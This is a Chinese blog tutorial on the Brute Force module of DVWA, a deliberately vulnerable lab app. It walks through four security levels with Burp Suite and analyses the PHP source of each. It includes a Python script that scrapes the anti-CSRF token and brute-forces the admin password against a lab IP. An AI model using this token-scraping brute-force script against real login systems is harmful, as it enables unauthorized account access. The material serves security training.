DVWA-master新手指南之Brute Force(一)


一、写在前面

DVWA环境在计算机里搭设也将近有半个月了,也就只用过burpsuite来进行爆破方面的练习,今天重新玩了一下,其乐无穷,便有了分享思路的想法

本系列教程不包含相关的环境搭设,这方面的教程网上很丰富,大家可以去看看。

这里采用的是WAMP来搭设环境

二、参考文献

新手指南:DVWA-1.9全级别教程

在一开始接触DVWA时不知道这个玩法,看到上面这系列的文章,给我了很多启发,鸣谢。

三、正文

(一)Brute Force

即暴力破解,指使用字典对用户名,密码等信息进行枚举尝试,从而获得正确信息

(二)Low级别

在讲这四个级别之前,默认大家已经将嗅探软件配置好,这里我使用的是burpsuite,有不清楚的朋友可以看看我之前写的一篇burpsuite教程:《神器-burpsuite学习笔记》

传送门:http://blog.csdn.net/qq_35544379/article/details/76696106

————————————————————————————

对于low级别,显然我们应该尝试最简单的方法,也就是直接抓包爆破

->

配置好burpsuite和代理之后,我们首先进入到Brute Force 的界面,别忘了将安全调至low,此时需要关闭burpsuite的拦截,随意在用户名和密码输入框中输入,点击Login即可


此后在burpsuite的HTTP history选项卡中找到刚刚的数据包

随即便开始了我们愉快的爆破之旅

我们可以轻易地发现,服务器并没有限制尝试登录的次数,因此我们的爆破成功,可回到DVWA进行验证。下面我们看一下low级别的源码



我们可以看到,服务器只是验证了参数Login是否被设置,没有任何的防爆破措施,同时我们还可以发现一点惊喜:也就是服务器未对username,password参数进行过滤,sql注入可行

(二)Middle级别

来到Middle,首先我们还是尝试一下burpsuite的爆破

按上述步骤进行,发现在爆破过程中,速度特别慢,猜测服务器采用了类似于sleep的功能,使爆破速度降慢,但依然没有实际上的防爆破机制,因此成功爆破



接着low的思路,我们尝试一下sql注入

试了一圈,发现都没有什么好进展,于是查看一下源码

注意图中两处,第一处使用了mysql_real_escape_string()函数,对

  • \x00
  • \n
  • \r
  • \
  • '
  • "
  • \x1a
等字符进行了转码,使得sql查询安全进行,因此基本上抵御了sql注入


第二处也就是上面提到的爆破变慢原因,只要登陆失败就sleep


(三)High级别

老套路,啥也别说先试试直接爆破

可爆破的结果却是这样的

没办法得到正确的密码,仔细一看,原来在High级别下提交的参数还有token

因此High级别可以抵挡无脑爆破的做法

如果我们想要爆破成功,就必须获得每次登陆的一个随机token值,服务器在这里应该会先对token进行检查随后再执行SQL查询

因此我们可以尝试自己编写一个能从html页面中抓取user_token的值的脚本进行爆破

这里参考 新手指南:DVWA-1.9全级别教程 作者的脚本

from bs4 import BeautifulSoup
import urllib2
header={        'Host': '192.168.153.130',
		'Cache-Control': 'max-age=0',
		'If-None-Match': "307-52156c6a290c0",
		'If-Modified-Since': 'Mon, 05 Oct 2015 07:51:07 GMT',
		'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36',
		'Accept': '*/*',
		'Referer': 'http://192.168.153.130/dvwa/vulnerabilities/brute/index.php',
		'Accept-Encoding': 'gzip, deflate, sdch',
		'Accept-Language': 'zh-CN,zh;q=0.8',
		'Cookie': 'security=high; PHPSESSID=5re92j36t4f2k1gvnqdf958bi2'}
requrl = "http://192.168.153.130/dvwa/vulnerabilities/brute/"

def get_token(requrl,header):
	req = urllib2.Request(url=requrl,headers=header)
	response = urllib2.urlopen(req)
	print response.getcode(),
	the_page = response.read()
	print len(the_page)
	soup = BeautifulSoup(the_page,"html.parser")
	user_token = soup.form.input.input.input.input["value"] #get the user_token
	return user_token

user_token = get_token(requrl,header)
i=0
for line in open("rkolin.txt"):
	requrl = "http://192.168.153.130/dvwa/vulnerabilities/brute/"+"?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token
	i = i+1
	print i,'admin',line.strip(),
	user_token = get_token(requrl,header)
	if (i == 10):
		break

按照惯例,我们依旧对源码进行分析


<?php

if( isset( $_GET[ 'Login' ] ) ) {
	// Check Anti-CSRF token
	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

	// Sanitise username input
	$user = $_GET[ 'username' ];
	$user = stripslashes( $user );
	$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	// Sanitise password input
	$pass = $_GET[ 'password' ];
	$pass = stripslashes( $pass );
	$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
	$pass = md5( $pass );

	// Check database
	$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

	if( $result && mysqli_num_rows( $result ) == 1 ) {
		// Get users details
		$row    = mysqli_fetch_assoc( $result );
		$avatar = $row["avatar"];

		// Login successful
		$html .= "<p>Welcome to the password protected area {$user}</p>";
		$html .= "<img src=\"{$avatar}\" />";
	}
	else {
		// Login failed
		sleep( rand( 0, 3 ) );
		$html .= "<pre><br />Username and/or password incorrect.</pre>";
	}

	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

我们可以看到

在high级别的源码中,对Token进行了前置性的检查,以及使用stripslashes去除反斜杠函数,进一步增强对sql注入攻击的抵抗能力

(四)impossible级别

一般来说,没有什么好的思路和点子,是很难突破这一级别的防守了,于是我们直接上源码进行分析

<?php

if( isset( $_POST[ 'Login' ] ) ) {
	// Check Anti-CSRF token
	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

	// Sanitise username input
	$user = $_POST[ 'username' ];
	$user = stripslashes( $user );
	$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	// Sanitise password input
	$pass = $_POST[ 'password' ];
	$pass = stripslashes( $pass );
	$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
	$pass = md5( $pass );

	// Default values
	$total_failed_login = 3;
	$lockout_time       = 15;
	$account_locked     = false;

	// Check the database (Check user information)
	$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
	$data->bindParam( ':user', $user, PDO::PARAM_STR );
	$data->execute();
	$row = $data->fetch();

	// Check to see if the user has been locked out.
	if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {
		// User locked out.  Note, using this method would allow for user enumeration!
		//$html .= "<pre><br />This account has been locked due to too many incorrect logins.</pre>";

		// Calculate when the user would be allowed to login again
		$last_login = $row[ 'last_login' ];
		$last_login = strtotime( $last_login );
		$timeout    = strtotime( "{$last_login} +{$lockout_time} minutes" );
		$timenow    = strtotime( "now" );

		// Check to see if enough time has passed, if it hasn't locked the account
		if( $timenow > $timeout )
			$account_locked = true;
	}

	// Check the database (if username matches the password)
	$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
	$data->bindParam( ':user', $user, PDO::PARAM_STR);
	$data->bindParam( ':password', $pass, PDO::PARAM_STR );
	$data->execute();
	$row = $data->fetch();

	// If its a valid login...
	if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
		// Get users details
		$avatar       = $row[ 'avatar' ];
		$failed_login = $row[ 'failed_login' ];
		$last_login   = $row[ 'last_login' ];

		// Login successful
		$html .= "<p>Welcome to the password protected area <em>{$user}</em></p>";
		$html .= "<img src=\"{$avatar}\" />";

		// Had the account been locked out since last login?
		if( $failed_login >= $total_failed_login ) {
			$html .= "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
			$html .= "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
		}

		// Reset bad login count
		$data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
		$data->bindParam( ':user', $user, PDO::PARAM_STR );
		$data->execute();
	}
	else {
		// Login failed
		sleep( rand( 2, 4 ) );

		// Give the user some feedback
		$html .= "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";

		// Update bad login count
		$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
		$data->bindParam( ':user', $user, PDO::PARAM_STR );
		$data->execute();
	}

	// Set the last login time
	$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
	$data->bindParam( ':user', $user, PDO::PARAM_STR );
	$data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

让我们一起来看看,在high的基础上,impossible做了哪些进一步的工作使得我们的服务器的安全性更佳了呢?


首先,这一部分的参数设置,显然是对登录次数,重新登录时间进行了限制,这里表明错误登录次数不得超过3次,锁定时间为15分钟(猜测)

在这里,代码就验证了我们上一步的猜测,代码对登录次数,超时时间进行了设置,基本上杜绝爆破行为

在这里我们还可以发现一些新东西,这里采用了一系列PHP PDO的拓展函数进行了安全性能的提高

使用prepare,bindParam等对查询语句进行预设定和参数绑定,基本上杜绝SQL注入


————————————

期待下次与你们的见面

  • 0
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值